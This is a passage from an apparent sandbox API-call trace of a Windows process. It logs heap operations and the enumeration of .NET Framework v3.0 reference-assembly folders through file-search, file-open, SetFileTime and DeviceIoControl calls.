(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.486] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0089.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.488] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 1 [0089.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1c08 [0089.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314248 [0089.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="")) returned 0 [0089.490] GetLastError () returned 0x12 [0089.490] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.490] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0089.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0089.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.491] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.492] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.492] NtClose (Handle=0x16c) returned 0x0 [0089.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314878 [0089.493] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0089.493] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.493] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0089.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314980 [0089.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1c28 [0089.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314a88 [0089.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.496] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0089.496] GetLastError () returned 0x12 [0089.496] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.496] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.496] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.496] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0089.496] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0089.496] GetLastError () returned 0x12 [0089.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314878) returned 1 [0089.496] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314980) returned 1 [0089.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="")) returned 1 [0089.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0089.497] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.498] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.498] NtClose (Handle=0x15c) returned 0x0 [0089.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314980 [0089.499] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.500] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.500] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0089.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314878 [0089.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1c48 [0089.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314b90 [0089.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.502] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0089.502] GetLastError () returned 0x12 [0089.502] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0089.502] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0089.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0089.502] GetLastError () returned 0x12 [0089.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314980) returned 1 [0089.503] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314878) returned 1 [0089.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314350) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: 